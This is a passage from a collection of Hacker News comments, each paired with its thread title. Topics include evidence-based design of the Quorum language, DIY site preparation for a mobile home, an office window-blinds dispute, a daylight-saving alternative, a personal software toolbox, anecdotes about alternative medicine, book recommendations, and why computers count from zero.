thing to say that the research community didn’t gather evidence, but it’s the truth nonetheless, 2) the methodologies used by research scholars in the literature often lack even basic checks and balances (e.g., control groups), and 3) research scholars are still hammering out what evidence based means for programming language design. Antti has his take on it, but there’s plenty of scholarly debate on the issue. The Quorum project, not just the language, aims to both create a language that improves with evidence over time and and also contributes to the literature on what that means.<p>Similarly, I put together an international session on the topic just a few months ago. The report from that can be found here: <a href="http://drops.dagstuhl.de/opus/volltexte/2018/9288/" rel="nofollow">http://drops.dagstuhl.de/opus/volltexte/2018/9288/</a> There is a lot to digest in that report, but the short and skinny is that there are a lot of problems in language design and computer science right now. For example, I argued heavily that computer science needs an “evidence standard” like exists in other fields (e.g., CONSORT, WWC), but we aren’t there yet. For those of us wanting to create tools or products where design decisions are traceable back to evidence, that’s tricky, because structured reviews and meta-analysis are hard to create in a systematic way right now. There’s a million more things to say about evidence, and in fact I’m writing a book on that right now with my good friend Stefan Hanenberg in Germany, but I’ll move on to Quorum a bit.<p>As a final thing, one common question I get in regard to Quorum is similar to what one comment below said, which is usually something like, “But what if the evidence shows you were wrong and you have to change the language?” As it happens, this is a great question, but has a rather boring answer. First, because have rigid requirements about what evidence means (e.g., basic RCT design), science moves slowly. Quorum’s core syntax and semantics change slowly. If anything, I suspect it’s a little slower in the pace of change than other languages. Second, not every decision in Quorum is based on evidence. The larger an impact of a design change, the more evidence we require. If someone alters a not-often used API, or adds new functionality to the standard library, that’s generally fine if it passes our internal technical and peer reviews (which check against known evidence). If, instead, someone wants us to add to core syntax and semantics, then the evidence required is considerable because whatever our user count is today (I think around 45k people, which if I recall has ballpark doubled year on year).<p>Naturally, however, this doesn’t fully answer the question, because sometimes studies really do show we got something wrong. For example, Brett Becker (he’s a fantastic scholar in Ireland) recently did some work on compiler error design and Quorum’s design needed to change to conform. As such, we’re working with that group to make adjustments, the first of which came out in Quorum 6. In that case, it’s relatively easy to make the changes because the work suggested we should change the compiler error messages. For more core changes, like syntax, it changes rarely, but when it does, those changes come out once per year, which our user community is well aware of and we tie to K-12 school schedules to not screw up teachers. When that happens, our user community can actually see the evidence we see. Many programming languages change their designs over time, but in Quorum we 1) gather evidence before doing that, 2) often put our evidence through the scientific peer review process, and then 3) change everything on a cycle that our users know about.<p>Anyway, so there you go. If nothing else, I hope it provides people some context. Hopefully, when our book comes out (TBD), there will be lots and lots more information. |
Ask HN: Have you built a house? | I did not build a house, but I did buy a mobile home recently and to save money I did all of the "site prep" work my self. This was basically running a water line (400 ft from the meter), getting electric installed (180ft from the pole), getting a concrete foundation to put the house one (because putting a mobile home on a gravel pad is ghetto and leads to a lifetime of house leveling issues), septic installed, HVAC install (I declined the cheap unit the house came with).<p>Let me tell you, just those few things were a lot of work. I'd say don't even think about it (building a house) unless you know someone in the business locally that can point you to decent contractors. Let me itemize everything below and explain:<p>First, I needed to run a water line about 300 ft. I wanted to use all Pex as copper is too expensive and PVC just breaks around here. But after researching, I realized that I'd need a pipe with an inside diameter bigger than 1" to go that 300 ft without a big pressure drop. Once you go above 1" in Pex, you start getting really expensive. I ended up running a "trunk" line out of straight 1 1/4" PVC, 20 ft sections with a 2" bell end. These should be pretty strong and since it is in a straight line, shouldn't break. Every 20 ft, I offset the pipe about 4" to "weave" it into the trench to help with expansion. On each end I used a pvc to pex transition fitting from Sioux Chief. Not really what I wanted, but the pvc was $200 while to do it in pex with a 1.5" line would have been well over $1000. Asking around for tips in plumbing forums does help, but you'll quickly find out that plumbers are very opinionated about what to use (even among themselves) and they don't really like "outsiders" asking for advice. It was a big job, trenching the line took a full day, and then I spent about 3 days cleaning out the trench with a shovel...<p>Pouring a concrete slab was the next big thing. How hard can that be? Well... I quickly found out that (honest) concrete contractors did not really want to pour me a slab to put a mobile home on since I had no blue prints to go by. This is where having someone in the industry really helps. My family has a auto shop locally and they knew of a concrete contractor that a "rich" customer uses quite often to do industrial buildings. I managed to meet with him, and using some of the ideas and plans laid out from some of the other contractors that turned me down, we were able to design a slab that would be correct to handle the weight and soil movement properly. But through research, I also discovered that concrete needs to be "cured" properly or you loose up to 50% of the strength. This curing is normally not done by contractors. So through more research, I ended up locating and buying some membrane based spray on curing compound that I put on the slab right after it was poured. I think it turned out well.<p>Septic was fun. This is rural land, so there is no septic service. 30 years ago, this would have been a simple and cheap thing. But thanks to today's regulations, it is now expensive and covered in red tape. Early in my planning, I had a person quote me an install price of $5k for a tank and leach field. I based all of my budget on that. But I never could get the guy to show up, and he would never answer the phone. He was from far out of town too. Using the knowledge of my family auto shop's customer base, I located some people locally, but they all wanted $13k! We went back and forth on prices, I eventually gave up and went back to trying to find shady craigslist people again, but I still couldn't find anyone that would show up. Plus the local guys were all telling me there is quite an epidemic of unlicensed installers that will do cheap work under the table but once the county finds out about your bootlegged septic install, they'll make you remove it and have it re-done. Basically a bootlegged system carries the same punishments as dumping raw sewage into a river, so it is not something to screw around with as you are dealing with the state's health department. In the end, I paid one of the local guys to do it right for $13k...<p>HVAC systems I am somewhat familiar with, so I was fine with just looking around locally to find someone that is an approved dealer for the HVAC brand I want.<p>The electric connection from the pole to the house was not so straight forward though. Most connections from the meter to the house are under 40 feet. I was at 180 ft, which meant I had to up size the wire. Which also meant I had to up size the conduit it was in to 2.5", but the conduit into the house would still be 2". So basically I ended up installing a feed through sub panel in the back yard. Run the bigger wire to that, then for the last 20 ft or so, run some smaller wire. But all this had to be researched quite a bit on my own. Talking to electricians didn't help too much surprisingly. Thankfully we did have one in my family though.<p>So as you can see, even simple tasks that you might think you can do by yourself, end up not being as such and/or taking 4x longer to complete (and maybe even 4x more price-wise)<p>As far as concrete constructed houses, ironically, one of my family members lives in one. It was built in the 1970's. It arrived piece by piece on a several trailers and was assembled with cranes. The walls are solid with no insulation. Even in our hot climate where most people's electric bills are $200+ in the summer, he normally stays below $100 surprisingly, though he does live under a thick cover of trees. He's had some rather large tree branches fall on the house too, but it didn't hurt anything other than break some of the stone/spanish tiles on the roof. Interestingly, his insurance is not cheap. He has to pay a premium for "unconventional" construction for both flood and fire insurance even though water or fire would not bother the house much... |
Bullshit Jobs | I worked in an organization with lots of processes. I was in an office with no windows, a bit of a hole or maybe even oubliette. You couldn’t tell time of day, weather, etc but it was better than a cubicle.<p>My door opened to a 10 foot hallway with and about 5 feet down there was a large window. It was a weird L-shape and no one else’s office or cube or anything was in the hallway to nowhere. So it was kind of nice that no one walked by and it was off the beaten path.<p>The window in the hallway was closed with blinds. But if I opened them it was possible to get some ambient light effects so while I couldn’t see out it from inside my office, I could tell if it was day or night. So it was better.<p>A few weeks went by and the blinds were closed one day. That’s weird, no one comes by here. I asked some nearby coworkers if they knew who closed and why and they didn’t know. No one knew. The entire floor is probably the size of a football field and has 100 offices around the edge with 200 cubes and conference rooms and stuff in the middle. My team is probably 10 people and there’s lots of other groups.<p>No one I knew knew and didn’t really care. I maybe spent 2-3 minutes because I was surprised that anyone walked by here, much less cared. I opened the blinds and when about my business.<p>About a week later, the blinds were closed again. Weird, but again I checked and no one I knew cared. I opened them again.<p>3 days later, they were closed. Repeat a few times and now I was opening them every day and someone else was closing them. Weird and funny.<p>This went on for a few days and the blinds would close in the middle of the day. I spend about 3-6 hours out of my office doing different stuff so I come and go. So I would now open them whenever I noticed them back down during the day.<p>Finally, I’m in my office and I hear the metallic zip sound of blinds closing. I stick my head of of my office and say hello to someone from a different floor and group, I’ll call her Betty.<p>I ask Betty what’s up and she tells me that she’s closing the blinds. I ask why and she says because they are supposed to be closed. I explain why I like them open and that there’s no one else who sees this window and she again says the blinds must be down.<p>Interesting. I love arbitrary rules as a big board game fan. I ask about why, and she says that no building things can be changed without a business justification as required by OSHA, fire marshalls, and emergency coordinators.<p>I tell her that I think this wouldn’t apply to something as minor as a window blind, but assured me it’s for everything.<p>I try a different tack and propose that the natural state is open, and that she is actually the one who needs a justification to close. But she’s too smart for that, she produces an inventory of the building that she makes each January that clearly shows the blinds closed for the past few years.<p>She is not joking or being ironic. She’s serious.<p>So I ask how business justifications are evaluated and she says that they are submitted to her and she evaluates them. There’s no template or format and no one has ever submitted one in the 10 years she was in this role.<p>Wow, ok. I go ahead and tell her I’ll write one and ask how to submit them.<p>This is funny to me, so later that evening, I spend a few minutes and write up a justification email. It’s pretty bullshit and basically says “Window blinds open makes me happier, and thus more productive. Closed blinds reduce productivity and thus reduce organization impact. Yadda Yadda Yadda.”<p>It’s maybe two paragraphs. She replies that my justification is insufficient and blinds will stay closed.<p>This is now less funny. So I look her up in the company director. She is a random workgroup’s Secretary and is a contractor who has been in the building forever. She has contracted for three different organization, but has always sat there. She schedules appointments and orders staples and stuff for about 20 of the hundreds of people in the building. She’s on a different floor than me. There’s five floors. Her group is entirely on a different floor.<p>This is bizarre. With this knowledge, I resubmit a revised justification. She denies it again. I respond copying her contracting monitor or whatever you call the person who organizes the contract, pointing out this bizarre process. The contracting person is confused and responds that this is not in any contract, they don’t give a shit, and question why this is done.<p>Then there’s silence for via email for a few days. The contracting person responds that the blinds will stay open. I never hear from Betty again.<p>I moved out of that office about 5 years ago. The blinds stayed open while I was there.<p>About a year or two ago, I was in that building and I walked by my old area to talk to some former co-workers and noticed the blinds were down.<p>I gave a quick recap and the current occupant didn’t care and hadn’t noticed. But they did say that Betty was still there.<p>I think people get really invested in a process they think is important, but is only important to them. A co-worker called this “building imaginary castles in the sky.”<p>It was really cool to them, but meaningless to any observer. Sometimes it’s useful in the long run for something else, but hard to tell immediately.<p>There’s confusion that gets compounded and you have real stuff wrapped around it. It seems like it may be bullshit. |
EU to recommend that member states abolish daylight saving time | OK, time (no pun intended) for something new, which address most of the concerns both with keeping DST and getting rid of DST, with the added advantage of providing a reasonable path to making eventually shifting our clocks to UTC acceptable. I'll call it "TZS Time".<p>If we want to change the starting time of schools, the opening time of businesses, etc., twice a year to accommodate the changing daylight patterns of the seasons--and apparently we do want to because most proposals to get rid of DST seem to include proposals to seasonally change the clock time when those events occur--there are two obvious ways to do it.<p>1. Change the clock time at which things start twice a year.<p>2. Change the clocks twice a year.<p>Start times are printed on signs and in documents, which are a pain to update. They are also on web sites with are not as hard to update, but still often require manual intervention.<p>Clocks, on the other hand, are designed to be easy to update. For an already large and ever growing subset of the population who get all their time from their computers, mobile devices, and other internet-connect devices that sync with time servers, updates are automatic.<p>Changing clocks twice a year, therefore, is probably a lot easier than changing start times twice a year, unless something is done about the difficulty of updating signs and the rest.<p>At the cost of one annoying update year, we could address the sign problem by replacing them with signs that print both the summer hours and winter hours. That would probably cause problems around the transition dates as many people do get confused for a few days then over whether or not things have switched.<p>That brings us to TZS Time.<p>1. We define a new time of day called "DAY START" (D).<p>2. In places that do not want to do seasonal changes of starting times, D is 6:00 clock time. In places that do want to do seasonal changes, D changes between 6:00 and 5:00.<p>3. Clocks would be enhanced to display both regular time, which does not change seasonally, and to show the difference between the current time and D [1]. E.g., if you are in PST on the day before the seasonal change and it is 11:34, your clock would tell you it is 11:34 and it is D+5:34. 24 hours later, after the seasonal change, your clock would again say the time is 11:34, but now it would say that is D+6:34.<p>4. Signs would have to be updated once to include D times. E.g., a sign that under the present system where the clocks change says:<p><pre><code> Open: 9:00 AM
Close: 8:00 PM
</code></pre>
would need a one time change to:<p><pre><code> Winter Summer
Open: 9:00 AM 8:00 AM D+ 3:00
Close: 8:00 PM 7:00 PM D+14:00
</code></pre>
(For signs that you don't want to expand, I'd omit the Winter and Summer columns and just show the D times).<p>5. D times would be more convenient than clock time when talking about local events. E.g., instead of asking for a lunch with someone at 12:00 PM or 11:00 AM, depending on the time of year, you'd say D+6 all year.<p>6. Over time, people would end up using D times for most of their daily time keeping. Direct clock times would be mostly used when dealing with things outside your time zone or things that should NOT change seasonally. At that point it might become easier to have your clock show UTC instead of your time zone's clock time. For example, if you are in UTC-8, your clock would show UTC, and D+0 would be at 14:00 in the winter and 13:00 in the summer.<p>7. (Optional) None of the above addresses the DST problem of the one hour sudden change in start times twice a year messing up sleep schedules and other biological rhythms. At some point almost everyone will be getting their times (clock and D) from devices that have decent computing power and internet connections to time servers. At that point, we might want to consider changing from a one hour jump twice a year to smaller jumps more often.<p>If it is handled automatically by all the clocks, I don't see any reason that the offset between D and UTC in a given time zone should not change frequently, even daily. This should eliminate all disruption of sleep schedules and other biological rhythms.<p>[1] For 7 segment displays, or other displays that don't have room for an extra symbol, we could reserve 3 special 7 segment patterns, such as 1, 2, or 3 horizontal bars, to indicate that the display is showing D time. The display could be Hx:MM where x is one of the special patterns. x = 1 bar could mean it is D+0H:MM, 2 bars could mean D+1H:MM, and 3 bars could mean D+2H:MM. |
Ask HN: How to organize personal knowledge? | I copy pasted everything from my blog here. If you want the actual links to things I use, just use the link since I can't dump it in hackernews without it being really unreadable.<p><a href="http://vincentmtang.com/toolbox/" rel="nofollow">http://vincentmtang.com/toolbox/</a><p>I only put all the ways I organize my things via software, still a WIP <i>(work in progress)</i> for hardware things I use <i>(pens, notebooks, etc)</i><p>------------------------------------------------------------------<p>## Notetaking / Productivity<p>Dynalist – Primary notetaking software<p>Airtable – Google spreadsheet meets microsoft access. A swiss army knife for business. Very useful for making a minimal viable prototype<p>Pinboard – Bookmarking. I consider this 3rd party chrome extension a must-have, I bind it to my CTRL+D key<p>Anki – Flashcard software. I use it to speed up learning math, programming languages, and computer science.<p>------------------------------------------------------------------<p>## Software Development<p>Chrome – My everyday browser<p>Slimjet – A simple chromium based browser that I use for webdevelopment occasionally. Because then I can have a seperate desktop icons<p>VS Code – My primary IDE<p>Github – Git + cloud storage for programming projects<p>Codepen – Isolated frontend environment. Used to A/B test components and explore cool things. Organize codesnippets here like I do in evernote.<p>Postman – API testing<p>LucidChart – Making flowchart diagrams and data models. Not free though, for that I prefer draw.io<p>------------------------------------------------------------------<p>## Design Tools – (macOS and windows)<p>Flux – Makes screen red at night so I can sleep easier<p>AffinityDesigner – I use all adobe products as well, but I prefer this over illustrator<p>AffinityPhoto – Same reason, I prefer over adobe photoshop<p>AdobeIndesign – Catalog & Brochure design<p>Figma – UX design tool, applesketch is macOS only<p>AutoCAD – Architectural drafting program, but not free<p>Fusion360 – 3D modelling program for DIY projects<p>GooglePhotos – Photo & video backup<p>Dropbox – Cloud storage for files/folders<p>------------------------------------------------------------------<p>## WINDOWS SPECIFIC<p>Phraseexpress – Keyboard macro automation. Checkout my 14 phrase-express guide to see use cases<p>Autohotkey – When I need an advanced macro that phrase express doesn’t work on. It has a high learning curve and ugly syntax language though<p>DirectoryOpus – Native windows file explorer sucks, this is best file explorer in market. Has a learning curve. Checkout use cases here<p>7+ Taskbar Tweaker – Smaller icons on my windows desktop screen<p>Blank Spacer Exes – It gets hard to look at so many icons in windows, so this gives me eye relief by grouping icons together<p>Greenshot – The best windows quick image editor out there. First thing I install on friends/family PC normally, its that good. MacOS version is not good.<p>ShareX – ShareX is greenshot image editor that supports gif uploads / custom image-hosting options. Version 11.6 is the best. MacOS has no equivalent.<p>------------------------------------------------------------------<p>## MacOS specific – alot of programming apps<p>Iterm2 – A better terminal environment. I binded it to ⌃⌥[spacebar]<p>Oh-my-zsh – My preferred bash alternative for development<p>Penc – Gesture based window snapping/resizing<p>Spectacle – Keyboard based window snapping/resizing<p>Keyboard Maestro – Keyboard automation for macOS. Similar to phraseexpress but better<p>Alfred – Better alternative to macOS’s spotlight for quickly opening files / apps. I binded it to ⌥[spacebar]<p>Captured – An inferior version to shareX without gif support, but best thing I could find.<p>Dropzone 3 – For quickly handling common tasks like moving folders around<p>Cheatsheet – Because I’m a new mac user I need to quickly memorize commands<p>Unarchiver – So I can one click install things on macOS<p>------------------------------------------------------------------<p>## Chrome Extensions – Productivity<p>Silverbird – For quickly tweeting things on twitter<p>Tabsnooze – Set reminders to myself to pay bills at end of month, and to do incremental reading<p>Pagenotes – When I need to save some specific information on a website. E.G. terminal commands, regular expressions on regex101.com, etc.<p>TheGreatSuspender – Suspends unused tabs after 30 minutes. Because chrome is a memory hog<p>Tampermonkey – Injecting javascript on a page to enhance notetaking tools. Its like your own chrome extension. Read about how I use it here<p>Ankitab – Relatively unknown, but its the opposite of Momentum. I use it to review flashcards thoughout the day<p>DynalistCompanionClipper – I use this with my notetaking app dynalist, I dump all my ideas here as they happen.<p>Stylus – Add custom CSS to webpages. Since stylish was tracking user data and got banned<p>VideoSpeedController – So I can play youtube videos up to 16x speed with captions to speedread. Its how I consume information very quickly<p>Imagus – Hover over an image to see its full view. Useful for my notetaking app dynalist, as well<p>GoogleDictionary – Select a word to see its definition.<p>PowerThesaurus – Select a word to see synonym and antonyms. Thesaurus are my favorite business and coding tool, naming is important<p>ClipboardHistory2 – SelectAll, CopyAll – you now have a saved copy of whatever your typing on reddit / hackernews / wordpress<p>Lastpass – Chrome extension for managing passwords. Cross platform<p>AmazonAssistant – So I can dump all my favorited wishlist items anywhere to amazon, export it out later<p>------------------------------------------------------------------<p>## Chrome Extensions – WebDevelopment<p>Wappylzer / Builtwith – To check what websites are running these days, accurate 50% of time<p>Page Ruler – Measure things on screen quickly<p>Webdeveloper – Powerful swiss army knife for webdevelopment, but I never use it<p>ViewportResizer – For responsive webdevelopment, I use this daily. Better than chrome’s native tools. Checkout bookmark version here<p>Gifscrubber – I need to pause gifs especially if I want to make a codepen of it from dribbble, etc. PlaytheGif is a close equivalent.<p>RefinedGithub – Better looking github made by Sindresorhus<p>Octotree – Left side file explorer for github repos<p>------------------------------------------------------------------<p>## Android / General<p>ColorNotes – Every other noteapp I’ve used sucks. I write things here, copy+paste it to dynalist later<p>GoogleKeep – When I need to quickly sync an image or text from my phone to PC and nothing else works<p>Meetup – Use the specific link, login, and add URL to homepage. Meetup android app sucks. Shows only the 28 techmeetups I’m subbed to<p>SolidExplorer – File explorer<p>Should I answer? – Tells me if phonecaller is a scammer. Not that I pick up phonecalls I don’t recognize anyways, that’s what voicemails for.<p>Slack – Team communication<p>OfficeLens – For making PDF’s from documents using your phone camera.<p>waze – If I know a driving route is slow, I use waze<p>okgoogle – My favorite commands are: “Play spotify”, “Next Song”, “Navigate Home”, “Exit Navigation”, “Find Parking”<p>Spotify – Music<p>Musixmatch – Lyrics for spotify<p>GoogleCalendar – Calendar<p>------------------------------------------------------------------<p>## Content / News<p>Youtube – I only put an alert on people that post high quality content infrequently. E.G., SmarterEveryDay, MarkRober, TomScott<p>ProductHunt – Where I like to see all the new fun tools out there<p>Hackernews – Lots of smart and interesting people here. Also, where I find out about news in the tech environment<p>Reddit/subreddits – Copy this multihub, delete ones that aren’t relevant to you, add cool ones like r/welding, r/cableporn, r/engineeringPorn |
Ask HN: What is your personal experience with alternative medicine? | I have ended up with quite a bit of experience with alternative medicine, some of which I didn't even know about until a couple of years ago.<p>In Ukraine as a kid. The "not sure if these do anything but they didn't hurt" part:<p>1: My mom would regularly draw "iodine nets" on my skin when I was sick. I can't remember exactly what they were meant to do, something about sucking out whatever toxin was making me sick.<p>2: When I was young in Ukraine I got very very sick. I only remember bits and pieces - most memorable is it hurting to move and getting shots in my hand every day. I was in hospital and getting worse, and the doctors couldn't figure out what was wrong. According to my mom they were injecting me with some kind of weird hormone based treatment, and when it did not seem to be helping she became worried about what it would do to me in the long term, so she took me out of the hospital against the wishes of doctors - she said the doctor was yelling after her that I was going to die if she took me out as she was leaving. She took me to an alternative medicine provider of some sort, who gave me shots and those little round pills you kind of see some alternative medicine providers use. I don't know which of those things worked, but I did end up getting better somehow.<p>3: This isn't really alternative medicine but more of a placebo effect. After the above ordeal my temperature would just not go down. I felt fine, but whenever they checked my temperature I would have a massive fever. My mom was checking my temp multiple times a day for weeks with zero change. My doctor suggested that my mom stop checking my temperature for two weeks. After two weeks, we checked again and my temperature was back to normal. It was decided that I was so used to being sick and having a fever that the process of checking my temperature would actually make me produce a real life fever.<p>4: This one is about my sister. She was born with some kind of..bad kidney problems or something of the sort. She had to take multiple trips to the emergency room, frequently. I don't know exactly what these attacks involved but it was bad. As a last resort my mom took her to a healer of some sort who gave her a special stone and did some kind of hand-healy thing. She apparently did not have an attack again. From memory I also got one of these stones, but a different one, but can't remember where it is now.<p>Ukraine, the "this was definitely a scam" part:<p>1. My mom took me to a lady who had me hold two metal rods connected with some kind of wire thing to a machine, and she would make different words show up on screen and then say if I was sensitive/allergic to those things or not. She guessed my strawberry allergy, but that's probably because my mom mentioned it. She also said I had "rakovie palochki", which freaked my mom out because it translates to "cancer sticks", but the lady said that was normal. I think she was a total scammer and apparently she disappeared a few years later...<p>----------------------<p>Sweden, my cat:<p>1. My kitten was extremely sick for a month. The vets had given up and said there was nothing more they could do. They let me take him home for his last night, I had an appointment booked to put him to sleep the next day at home - I didn't want him to die in the hospital. As a last resort I took him to a "holistic veterinarian" who performed acupuncture and gave various drops and such. I don't know if the acupuncture helped, but the next day my cat miraculously peed on his own for the first time in a month at home (his blockage was at the root of this problem, without peeing he would die and no amount of medicine or trying to manually express him had worked). I wouldn't credit the entire recovery to acupuncture, but as a last resort treatment I am glad I tried it.<p>2. At the same time as the above, on the train <i>back</i> from the holistic vet home, I happened to sit next to a lady who started asking about him. I was on the verge of tears at that point but explained to her what was happening. She asked if she could reach her hand in the carrier and pet him, and I said yes. My cat was so exhausted and miserable, both of us were, but he seemed to relax a little when she touched him. We ended up getting off at the same stop and before going in separate directions the lady said "I did some healing, it is up to him now. There is still hope - just take that cone off of him when you get home." (he was wearing post-surgery cone). I did as she said - he peed the next day.<p>-----------------------------<p>I should note that neither my mom nor I ever chose alternative medicine over traditional, scientifically-backed medicine. My mom from what I understand only used alternative treatments in conjunction with science-backed treatments or only as a last resort when normal medicine did not help. It was the same with my cat - he was in and out of traditional hospitals for a month. When those veterinarians said there were no more things left to try is when I began to explore more alternative routes. |
Ask HN: What are your favorite non-fiction books of all time? | An assortment:
"The Silent Language" by Edward T. Hall.
Hall was an anthropologist attached to the University of New Mexico. He and his research partner, linguist Norman Trager, were doing research in comparative culture. Hall realized they would need a comprehensive theory of culture to describe what they were comparing and provide ways to compare them. Hall's model was "culture as communication", and the results were presented in the book above. His key point was that most of culture was like the iceberg - 90% of it is processed on an unconscious reflex level. We are no more aware of most of our culture than a fish is of the water it swims in. We only <i>become</i> aware when we are set down in a culture that does things differently than ours. The Silent Language is about how we use space. The followup "The Hidden Dimension looks into how different cultures use <i>time</i>. <i>Many</i> things fell into place when I read Hall.<p>"Games People Play" by Eric Berne.
Berne was a psychiatrist and founder of the discipline of Transactional Analysis. Games People Play was a PopSci bestseller when first published, which was odd because it's a highly technical volume written for other psychiatrists. His thesis was that most human behavior could be viewed as games, and most of what we did were ways of structuring time. Follow up with his "What Do You Say After You've Said Hello?" and "Beyond Games and Scripts". Hall's work above did much to explain teh behavior of societies. Berne's work does much to explain the behavior of people <i>in</i> societies.<p>"The Anatomy of Criticism" by Northrop Frye.
Frye was a Professor of English at Toronto University. He had completed a study of William Blake called "Fearful Symmetry", and was attempting to do a study of Spencer's Faery Queen. But he found himself trying to make sense of various terms used in literature, and the result became a work of pure theory, unconnected with any specific works. He refers to poetry and poetics, but his canvas is broader. Part of his problem was that there was no general term in English for a work of prose fiction. It's a set of four essays, covering Historical Criticism, Ethical Criticism, Archetypal Criticism, and Rhetorical Criticism, but makes clear that while each form is valid in its own terms, none fully described literature, and a more synoptic view was required.<p>"The Structure of Scientific Revolutions" by Thomas S. Kuhn
Kuhn's work challenged the accepted notions of scientific progress, and the notion of steady accumulation. His thesis was that the real progress came from notions that lay outside accepted theories, and provided new paradigms by which reality might be understood, and faced all the resistance transformative ideas face from entrenched doctrine until they are demonstrated to be correct.<p>"Management: Tasks, Practices, Responsibilities" by Peter F. Drucker.
Drucker was our present generation's primary primary theorist and consultant on the practice of management, and just what management was and what mangers did. This work was probably his magnum opus, where he pulled together the ideas he'd formulated elsewhere into a coherent whole. It's a liberal education not only in management, but in the nature and structure of market based economies.<p>"The Making of Economic Society" by Robert F. Heilbroner.
This is probably the best single volume overview I'm aware of on economics and economic history, beginning with just what an economy is, and the changing conception of economics through history, with the transition from Traditional through Command to Market economies and the issues involved with each. Many animated discussions I see online about economics make me say "Those words don't mean what you think they do. Please read Heilbroner, and come back when you have. Then we might at least be talking about the same things."<p>"The Problems of Philosophy" by Bertrand Russell.
Russell is concerned with knowledge, and how we know what we know. He asks "Is there any knowledge in the world so certin that no reasonable man could doubt it?", and concludes that it's one of the most difficult questions that can be asked. When we understand the obstacles in the way of a straightforward and confident answer, we are launched on the study of philosophy, which is concerned with precisely such questions. If philosophy is of interest, this is a superb place to start.<p>"Religion and the Rise of Capitalism" by R. H. Tawney.
Economies don't exist in vacuums. The are aspects of the societies in which they exist, and reflect the values of those societies. Religion has been a critical part of the value systems of societies for as long as there have been societies, and religious notions on what sort of behavior is acceptable affect the structure of economies by determining what sort of transactions are permissible. Tawney is specifically concerned with religious thought in England affecting social organization and economic issues in the period immediately preceding the Reformation and the two following centuries, but while his focus in England, his description of the way in which Christian religious doctrine changed gradually to make a capitalist economy possible in England, the underlying processes could be applied through Europe in general. Read this as a companion to Max Weber's "The Protestant Ethic and the Spirit of Capitalism", originally written in German and concerned with the Netherlands and Germany.<p>"Capitalism, Socialism, and Democracy" by Joseph A. Schumpeter.
Schumpeter was an Austrian economist, a contemporary of John Maynard Keynes, and (briefly) Austria's Finance Minister in the 1920's. Like Keynes, he considered himself influenced by Marx. But unlike many others, he believed Marx "asked all the right questions, and got all the wrong answers". Capitalism, Socialism, and Democracy was Schumpeter's (often delightfully snarky) attempt to understand what Marx got wrong and why. It's a useful brainwash after you've spent any time reading MArx or other folks who consider themselves Marxists, and provides a needed sense of perspective.<p>There's more, but I have to stop somewhere... |
Why do we count starting from zero? | Address lines. So much boils down to address lines, and how they are binary.<p>Address 0000 is the lowest one, first one, initial address, right?<p>Well, either we start, given 4 address lines:<p>0000 = 0<p>, or<p>0000 = 1.<p>Which is it?<p>Either we have to talk to people about zero, address lines, various indexing and pointer math<p>, or<p>We have to start all those conversations with some reason why 0000 = 1.<p>The former seems to make the most basic sense, and is rooted deep in the hardware.<p>I have found explaining address lines, and the powers of two very useful. This is how I was introduced to all of this back in the 80's, when confronting computers, memory, hex, pages, and all sorts of basic things.<p>It made immediate sense. Later, moving to other higher order, and or more complex environments, there are sometimes details needed, but those basics really do not change much, leaving the real problem connecting whatever higher order tools one might be using with the lower level nature of the computer itself.<p>When I've gone through this, I typically use a 16 bit environment, and 8 bit CPU example. It's 6502, 6809, Z-80 like. Does not matter much to the newbies. We are never going to go there, unless they have an interest.<p>But, that tiny space, and encouragement to just memorize the first 16 powers of two make for a great foundation!<p>They can easily do hex and binary with that info. ASCII, and other core things, put into tabular listings of various kinds, all sort out pretty easily. There are lots of examples, like 8 bit color, 24 bit color, those weird "color numbers that have letters in them." Just one of many simple things people can be shown, or talked to about and have it all make some sort of sense.<p>Why is $000000 black? And why is $FFFFFF white? And just why are there colors from 0 to 255, or levels of red, green, blue?<p>Decimal conversions are not that difficult either. Just add up all the ones and you are done. Division works the other way. Some people won't need or want those, so no worries. Skip them. They can return later.<p>Time spent on all that stuff is kind of fun time, and it pays off big. All one needs is a white board, the calculators found in whatever teaching environment is available, and or their computers.<p>Invite questions. Many people will have seen stuff, and if they ask anything at all, that's your opportunity to connect the dots in a way that will be useful to them and endure easily.<p>While there, and say it's a school setting, or the people are headed somewhere it may be needed, we've somehow introduced this "metric" or "SI Unit Standard" for Kilobyte as being 1000. I won't argue it, just as I would not for Imperial vs Standard International units, as found in the USA. Not a good hill to die on.<p>The better thing is to just recognize the units and know what they mean. There are just units, they get used, and the most important thing is to know what those units actually mean. Preferences, politics on them are fun, but secondary.<p>Kilobyte - 1024, because of address lines. The other unit can make sense for disks, packets, and other things not necessarily tied so fundamentally to the powers of two. It's just enough that they get the differences.<p>Pages? While those vary considerably, the fundamental idea is each of those powers of two can be a page. On old computers, pages were 256 bytes, 0 - 255 inclusive, for example. They were 8 bits, and that's 8 address lines worth, which is...<p>Pages in modern machines and languages vary widely, but 4K seems to come up a lot. Again, not too important, just link that concept to the address lines, chunks of memory, etc...<p>And then finally some math. Bytes, words, longs, and so forth. Nibbles too. 4 bits, 8 bits, 16 bits, 32 bits.<p>When they do the conversions, a whole lot will make sense, and the most basic thing, say 4 bits being 0 - 15, will make sense, as does the "page", and the number 16 being a power of two, and how all that adds together to make most efficient use of address lines. The colors are one super easy way to talk about this. And they can all bring up some program and type them in, get some sense of things that way.<p>Truth is, with address lines, there will be X number of them, and they have two states. (technical issues, like floating states aside) Why do anything other than use them? It's a waste to do otherwise, and again technical things aside.<p>Having taken newbies (and I've personally done middle-school and high school student sessions on request many times) through this stuff, they come away with a very basic understanding about the nature of the computer.<p>If that's all they get, it's fine. Specific numbers, kilobyte, megabyte, megabit, all have some basic meaning, and the unit issue stands a fair chance of being understood too.<p>Other questions like, "How come it's always 8GB, or 32Kb?", or "How come we never see a 29GB USB drive?" Have easy and obvious, if not always technically correct, answers they will find make sense.<p>That all leads straight to, "Count starting from 0" having good reasons, and it can make some basic sense. That's all people need. Should they get to a point where it's a real debate, it's a very nice problem for them to have, if you ask me.<p>Those who advance and want to do programming will build on these ideas and have little trouble with counting from zero, and when and why it is done, or not done.<p><i></i>Didn't put this on Stack Exchange because I'm not on a machine with those credentials, so here it is for anyone who might need it as an introduction for someone new. It works well --even for very non-technical people. And BTW, the non-technical ones will often just get it, then accept it with little more than, "so that is why computer numbers are weird!<p>Great, that's the point. Just enough to build on.<p>And again, way back in the day, all that made so darn much sense to my peer group. We grokked it, and literally got better at understanding a whole bunch of things without even feeling it very much.<p>Finally, a CPU 8 bits, registers, and all that stuff may not be appropriate. Depending on the audience, address lines, and the on-off state is enough. Use houses, blinkenlights, whatever they can identify with and just link it to how the computer can access things. Talk through 4 bits worth, and they will get it.<p>Doing that is enough for understanding and for those interested to make good progress with somewhat less stumbling. |
